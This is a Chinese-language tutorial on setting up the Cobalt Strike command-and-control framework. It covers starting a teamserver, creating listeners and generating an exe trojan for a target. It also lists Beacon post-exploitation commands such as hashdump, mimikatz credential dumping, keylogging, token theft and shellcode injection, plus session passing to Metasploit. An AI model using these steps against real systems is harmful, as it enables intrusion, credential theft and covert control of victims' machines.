Cobalt Strike安裝
系統要求 Cobalt Strike要求Java 1.8，Oracle Java 11,或OpenJDK 11。 如果你的系統上裝有防病毒產品，請確保在安裝 Cobalt Strike 前將其禁用 #團隊服務器 Cobalt Strike 分為客戶端組件和服務器組件。服務器組件，也就是團隊服務器，是 Beacon payload 的控制器，
也是 Cobalt Strike 社會工程功能的托管主機。團隊服務器還存儲由 Cobalt Strike 收集的數據，並管理日志
記錄。Cobalt Strike 團隊服務器必須在受支持的 Linux 系統上運行。要啟動一個 Cobalt Strike 團隊服務器
使用 Cobalt Strike Linux 安裝包中的 teamserver 腳本文件。 #使用大致流程 創建團隊服務器->客戶端連接服務器->創建監聽器->生成后門對應監聽器->靶機運行后門成功上線->后滲透（提權，內網漫游，域滲透等）
下載好cs4.0后
./teamserver 查看使用方法
./teamserver 192.168.33.143 123456 //本機IP 和密碼啟動團隊服務器
啟動成功！
可以在其他電腦上打開start.sh(liunx) satart.bat(win)
./start.sh 啟動連接，host 是團隊服務器的IP，密碼123456
確定
打開監聽目錄
創建一個監聽器：
http hosts是團隊服務器的IP
7001是監聽的端口
生成木馬：
保存exe文件放在靶機上運行：
默認sleep（60）異步通信，這樣通信有點慢，可以改為5s
然后就可以嘿嘿嘿了，下面是一寫常用命令
Cobalt Strike
1 New Connection # 新建連接，支持連接多個服務器端 2 Preferences # 設置Cobal Strike界面、控制台、以及輸出報告樣式、TeamServer連接記錄 3 Visualization # 主要展示輸出結果的視圖 4 VPN Interfaces # 設置VPN接口 5 Listenrs # 創建監聽器 6 Script Manager 7 # 腳本管理，可以通過AggressorScripts腳本來加強自身，能夠擴展菜單欄，Beacon命令行，提權腳本等 8 Close # 退出連接
-
View
Applications # 顯示受害主機的應用信息
Credentials # 顯示所有以獲取的受害主機的憑證，如hashdump、Mimikatz
Downloads # 查看已下載文件
Event Log # 主機上線記錄以及團隊協作聊天記錄
Keystrokes # 查看鍵盤記錄結果
Proxy Pivots # 查看代理模塊
Screenshots # 查看所有屏幕截圖
Script Console # 加載第三方腳本以增強功能
Targets # 顯示所有受害主機
Web Log # 所有Web服務的日志
-
Attacks
#Packages HTML Application # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬文件 MS Office Macro # 生成office宏病毒文件 Payload Generator # 生成各種語言版本的payload USB/CD AutoPlay # 生成利用自動播放運行的木馬文件 Windows Dropper # 捆綁器能夠對任意的正常文件進行捆綁(免殺效果差) Windows Executable # 生成可執行exe木馬 Windows Executable(Stageless) # 生成無狀態的可執行exe木馬 #Web Drive-by Manage # 對開啟的web服務進行管理 Clone Site # 克隆網站，可以記錄受害者提交的數據 Host File # 提供文件下載，可以選擇Mime類型 Scripted Web Delivery #為payload提供web服務以便下載和執行，類似於Metasploit的web_delivery Signed Applet Attack #使用java自簽名的程序進行釣魚攻擊(該方法已過時) Smart Applet Attack #自動檢測java版本並進行攻擊，針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時) System Profiler #用來獲取系統信息，如系統版本，Flash版本，瀏覽器版本等 Spear Phish # 魚叉釣魚郵件
-
Reporting
1 Activity Report # 活動報告 2 Hosts Report # 主機報告 3 Indicators of Compromise 4 # IOC報告：包括C2配置文件的流量分析、域名、IP和上傳文件的MD5 hashes 5 Sessions Report # 會話報告 6 Social Engineering Report 7 #社會工程報告：包括魚叉釣魚郵件及點擊記錄 8 Tactics, Techniques, and Procedures 9 # 戰術技術及相關程序報告：包括行動對應的每種戰術的檢測策略和緩解策略 10 Reset Data # 重置數據 11 Export Data # 導出數據，導出.tsv文件格式
指令大全
1 browserpivot 注入受害者瀏覽器進程 2 bypassuac 繞過UAC 3 cancel 取消正在進行的下載 4 cd 切換目錄 5 checkin 強制讓被控端回連一次 6 clear 清除beacon內部的任務隊列 7 connect Connect to a Beacon peerover TCP 8 covertvpn 部署Covert VPN客戶端 9 cp 復制文件 10 dcsync 從DC中提取密碼哈希 11 desktop 遠程VNC 12 dllinject 反射DLL注入進程 13 dllload 使用LoadLibrary將DLL加載到進程中 14 download 下載文件 15 downloads 列出正在進行的文件下載 16 drives 列出目標盤符 17 elevate 嘗試提權 18 execute 在目標上執行程序(無輸出) 19 execute-assembly 在目標上內存中執行本地.NET程序 20 exit 退出beacon 21 getprivs Enable system privileges oncurrent token 22 getsystem 嘗試獲取SYSTEM權限 23 getuid 獲取用戶ID 24 hashdump 轉儲密碼哈希值 25 help 幫助 26 inject 在特定進程中生成會話 27 jobkill 殺死一個后台任務 28 jobs 列出后台任務 29 kerberos_ccache_use 從ccache文件中導入票據應用於此會話 30 kerberos_ticket_purge 清除當前會話的票據 31 kerberos_ticket_use 從ticket文件中導入票據應用於此會話 32 keylogger 鍵盤記錄 33 kill 結束進程 34 link Connect to a Beacon peerover a named pipe 35 logonpasswords 使用mimikatz轉儲憑據和哈希值 36 ls 列出文件 37 make_token 創建令牌以傳遞憑據 38 mimikatz 運行mimikatz 39 mkdir 創建一個目錄 40 mode dns 使用DNS A作為通信通道(僅限DNS beacon) 41 mode dns-txt 使用DNS TXT作為通信通道(僅限D beacon) 42 mode dns6 使用DNS AAAA作為通信通道(僅限DNS beacon) 43 mode http 使用HTTP作為通信通道 44 mv 移動文件 45 net net命令 46 note 備注 47 portscan 進行端口掃描 48 powerpick 通過Unmanaged PowerShell執行命令 49 powershell 通過powershell.exe執行命令 50 powershell-import 導入powershell腳本 51 ppid Set parent PID forspawned post-ex jobs 52 ps 顯示進程列表 53 psexec Use a service to spawn asession on a host 54 psexec_psh Use PowerShell to spawn asession on a host 55 psinject 在特定進程中執行PowerShell命令 56 pth 使用Mimikatz進行傳遞哈希 57 pwd 當前目錄位置 58 reg Query the registry 59 rev2self 恢復原始令牌 60 rm 刪除文件或文件夾 61 rportfwd 端口轉發 62 run 在目標上執行程序(返回輸出) 63 runas 以另一個用戶權限執行程序 64 runasadmin 在高權限下執行程序 65 runu Execute a program underanother PID 66 screenshot 屏幕截圖 67 setenv 設置環境變量 68 shell cmd執行命令 69 shinject 將shellcode注入進程 70 shspawn 生成進程並將shellcode注入其中 71 sleep 設置睡眠延遲時間 72 socks 啟動SOCKS4代理 73 socks stop 停止SOCKS4 74 spawn Spawn a session 75 spawnas Spawn a session as anotheruser 76 spawnto Set executable tospawn processes into 77 spawnu Spawn a session underanother PID 78 ssh 使用ssh連接遠程主機 79 ssh-key 使用密鑰連接遠程主機 80 steal_token 從進程中竊取令牌 81 timestomp 將一個文件時間戳應用到另一個文件 82 unlink Disconnect from parentBeacon 83 upload 上傳文件 84 wdigest 使用mimikatz轉儲明文憑據 85 winrm 使用WinRM在主機上生成會話 86 wmi 使用WMI在主機上生成會話 87 argue 進程參數欺騙
#CS->MSF CS：spawn xxx
設置一個外部反彈接收器： windows/foreign/reverse_http MSF： windows/meterpreter/reverse_http #MSF->CS MSF: use exploit/windows/local/payload_inject windows/meterpreter/reverse_http CS: windows/beacon_http/reverse_http